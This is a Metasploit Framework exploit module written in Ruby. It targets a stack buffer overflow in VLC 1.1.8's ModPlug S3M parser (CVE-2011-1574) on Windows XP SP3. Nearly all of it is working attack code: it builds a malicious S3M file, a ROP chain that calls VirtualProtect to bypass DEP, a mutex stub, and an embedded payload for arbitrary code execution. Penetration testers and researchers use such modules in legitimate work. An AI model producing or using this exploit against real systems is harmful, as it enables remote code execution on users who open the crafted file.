##
# $Id: vlc_modplug_s3m.rb 12282 2011-04-08 15:48:53Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
'Name' => 'VideoLAN VLC ModPlug ReadS3M Stack Buffer Overflow',
'Description' => %q{
This module exploits an input validation error in libmod_plugin as
included with VideoLAN VLC 1.1.8. All versions prior to version 1.1.9
are affected. By creating a malicious S3M file, a remote attacker
could execute arbitrary code.
Although other products that bundle libmodplug may be vulnerable, this
module was only tested against VLC.
NOTE: As of July 1st, 2010, VLC now calls SetProcessDEPPoly to
permanently enable NX support on machines that support it. As such,
this module is capable of bypassing DEP, but not ASLR.
},
'License' => MSF_LICENSE,
'Author' => [ 'jduck' ],
'Version' => '$Revision: 12282 $',
'References' =>
[
[ 'CVE', '2011-1574' ],
[ 'OSVDB', '72143' ],
#[ 'BID', 'xxx' ],
[ 'URL', 'http://modplug-xmms.git.sourceforge.net/git/gitweb.cgi?p=modplug-xmms/modplug-xmms;a=commitdiff;h=aecef259828a89bb00c2e6f78e89de7363b2237b' ],
[ 'URL', 'http://hackipedia.org/File%20formats/Music/html/s3mformat.php' ],
[ 'URL', 'https://www.sec-consult.com/files/20110407-0_libmodplug_stackoverflow.txt' ],
[ 'URL', 'http://seclists.org/fulldisclosure/2011/Apr/113' ]
],
'Payload' =>
{
'Space' => 512 - 0x24, # Space reserved for prepended mutex code
#'DisableNops' => true,
},
'Platform' => 'win',
'Targets' =>
[
[ 'VLC 1.1.8 on Windows XP SP3',
{
# vuln is in libmod_plugin.dll, rop is custom to this module
}
],
],
'Privileged' => false,
'DisclosureDate' => 'Apr 07, 2011', # "found: 2011-03-09"
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [ true, 'The file name.', 'msf.s3m']),
], self.class)
end
def exploit
num_orders = 0x14
num_instru = 0x15
num_patterns = 0x18
hdr = "\x00" * 0x1c # song name (none)
hdr << [
0x1a, # static byte
0x10, # ST3 module
0x00, # padding
num_orders,
num_instru,
num_patterns,
0x00, # Flags
0x1320, # Created with (which tracker)
0x02, # File format information
].pack('CCvvvvvvv')
hdr << "SCRM"
hdr << [
0x40, # global volume
0x06, # initial speed
0x8a, # initial tempo
0xb0, # master volume
0x10, # ultra click removal
0xfb # NOTE, non-0xfc value skips an additional loop!
# 0xfc == default channel pan positions present
].pack('CCCCCC')
hdr << "\x00" * 10 # includes pad and special pointer
# channel settings (for 32 channels)
hdr << "\x00\x08\x01\x09\x02\x0a\x03\x0b\x04\x0c\x05\x0d\x06\x0e\x07\x0f"
hdr << "\xff" * 16
# orders
hdr << "\x07\x08\x0c\x09\x0a\x0b\x0b\x0d\x0e\x0f\x0f\x0f\x10\x11\x12\x13"
hdr << "\x14\x16\x17\xff"
# parapointers to instruments
hdr << [ 0x0f ].pack('v') * num_instru
# parapoitners to patterns
hdr << [ 0x78 ].pack('v') * num_patterns
# channel default pan positions
hdr << "\x00" * 32
# instruments
instru = "\x01metasplo.ity"
rest = "\x00" * ((0x50 * num_instru) - instru.length)
# Build the rop stack
rvas = rvas_libmod_plugin_xpsp3()
rop = generate_rop(rvas)
zero_ptr = rva2addr(rvas, 'Scratch') + 4
mutex_addr = rva2addr(rvas, 'Scratch') + 8
imp_Sleep = rva2addr(rvas, 'imp_Sleep')
# A mutex to prevent double payloads
locking_code = <<-EOS
mov ebx, [ #{imp_Sleep} ]
jmp test_lock
sleep:
push 0xdeadbeef
call ebx
test_lock:
mov eax, [ #{mutex_addr} ]
test eax,eax
jnz sleep
lock cmpxchg [ #{mutex_addr} ], ebp
test eax,eax
jnz sleep
EOS
rop << Metasm::Shellcode.assemble(Metasm::Ia32.new, locking_code).encode_string
rop << payload.encoded
# This becomes the new EIP (after return)
ret = rva2addr(rvas, 'pop eax / ret')
rest[1267, 4] = [ ret ].pack('V')
# In order to force return, we smash the this ptr on the stack and point
# it so that m_nChannels turns out to be 0.
rest[1271, 4] = [ zero_ptr - 0xe910 ].pack('V')
# Add the ROP stack and final payload here
rest[1275, rop.length] = rop
instru << rest
# patterns
patt = [ 0x10 ].pack('v')
patt << "\x00" * 0x10
# finalize the file
s3m = ""
s3m << hdr
instru_pad = (0x0f * 0x10) - hdr.length
s3m << "\x80" * instru_pad
s3m << instru
# patch in exploit trigger values
s3m[0x22, 2] = [ 0x220 ].pack('v')
s3m[0x24, 2] = [ 0x220 ].pack('v')
print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(s3m)
end
def rvas_libmod_plugin_xpsp3()
# libmod_plugin.dll from VLC 1.1.8 (Win32)
# Just return this hash
{
# Used as 'Ret' for target
'ret' => 0x1022,
'push eax / ret' => 0x1cc4d,
'pop eax / ret' => 0x598a2,
'mov eax, [eax+0x1c] / ret' => 0x542c9,
'pop ebx / pop ebp / ret' => 0x25e2f,
'add eax, 4 / pop ebp / ret' => 0x7028,
'mov [eax+0x58], ebx / pop ebx / pop esi / pop edi / pop ebp / ret' => 0x23dad,
'sub eax, ebx / pop ebx / pop edi / pop ebp / ret' => 0x7d64,
}
end
def generate_rop(rvas)
# ROP fun! (XP SP3 English, Apr 10 2011)
rvas.merge!({
# Instructions / Name => RVA
'BaseAddress' => 0x653c0000,
'imp_VirtualProtect' => 0xec2f0 - 0x1c, # adjust for gadget used to resolve
'imp_Sleep' => 0xec2dc,
'Scratch' => 0x5fbfc,
'Data' => 0x60101,
#'DataAdjusted' => 0x60000 - 0x58 + 0x8,
'DataAdjusted' => 0x60000 - 0x58,
})
copy_stage = <<-EOS
nop
push esp
pop esi
lea edi, [eax+0x10]
push 0x7f
pop ecx
inc ecx
rep movsd
EOS
copy_stage = Metasm::Shellcode.assemble(Metasm::Ia32.new, copy_stage).encode_string
if (copy_stage.length % 4) > 0
raise RuntimeError, "The copy stage is invalid"
end
rop_stack = [
# Resolve VirtualProtect
'pop eax / ret',
'imp_VirtualProtect',
'mov eax, [eax+0x1c] / ret',
# Call VirtuaProtect
'push eax / ret',
'pop eax / ret', # after VirtualProtect
# Args to VirtualProtect
'Data', # lpAddress (place holder, filled in @ runtime above)
0x1000, # dwSize
0x40, # flNewProtect
'Scratch', # lpflOldProtect
# Load the pre-adjusted Data addr
'DataAdjusted', # matches pop eax / ret above
##
# Write our code little stager to our newly executable memory.
##
# Load the last 32-bits of code to write
'pop ebx / pop ebp / ret',
copy_stage[0, 4].unpack('V').first,
:unused, # ebp
# Write & advance
'mov [eax+0x58], ebx / pop ebx / pop esi / pop edi / pop ebp / ret',
copy_stage[4, 4].unpack('V').first,
:unused, # esi
:unused, # edi
:unused, # ebp
'add eax, 4 / pop ebp / ret',
:unused, # ebp
# Write & advance
'mov [eax+0x58], ebx / pop ebx / pop esi / pop edi / pop ebp / ret',
copy_stage[8, 4].unpack('V').first,
:unused, # esi
:unused, # edi
:unused, # ebp
'add eax, 4 / pop ebp / ret',
:unused, # ebp
# Write & advance
'mov [eax+0x58], ebx / pop ebx / pop esi / pop edi / pop ebp / ret',
0xffffffb0, # adjustment value
:unused, # esi
:unused, # edi
:unused, # ebp
# Adjust eax
'sub eax, ebx / pop ebx / pop edi / pop ebp / ret',
:unused, # ebx
:unused, # edi
:unused, # ebp
# Execute the copy stage
'push eax / ret',
]
rop_stack.map! { |e|
if e.kind_of? String
# Meta-replace (RVA)
raise RuntimeError, "Unable to locate key: \"#{e}\"" if not rvas[e]
rvas['BaseAddress'] + rvas[e]
elsif e == :unused
# Randomize
rand_text(4).unpack('V').first
else
# Literal
e
end
}
rop_stack.pack('V*')
end
def rva2addr(rvas, key)
raise RuntimeError, "Unable to locate key: \"#{key}\"" if not rvas[key]
rvas['BaseAddress'] + rvas[key]
end
end
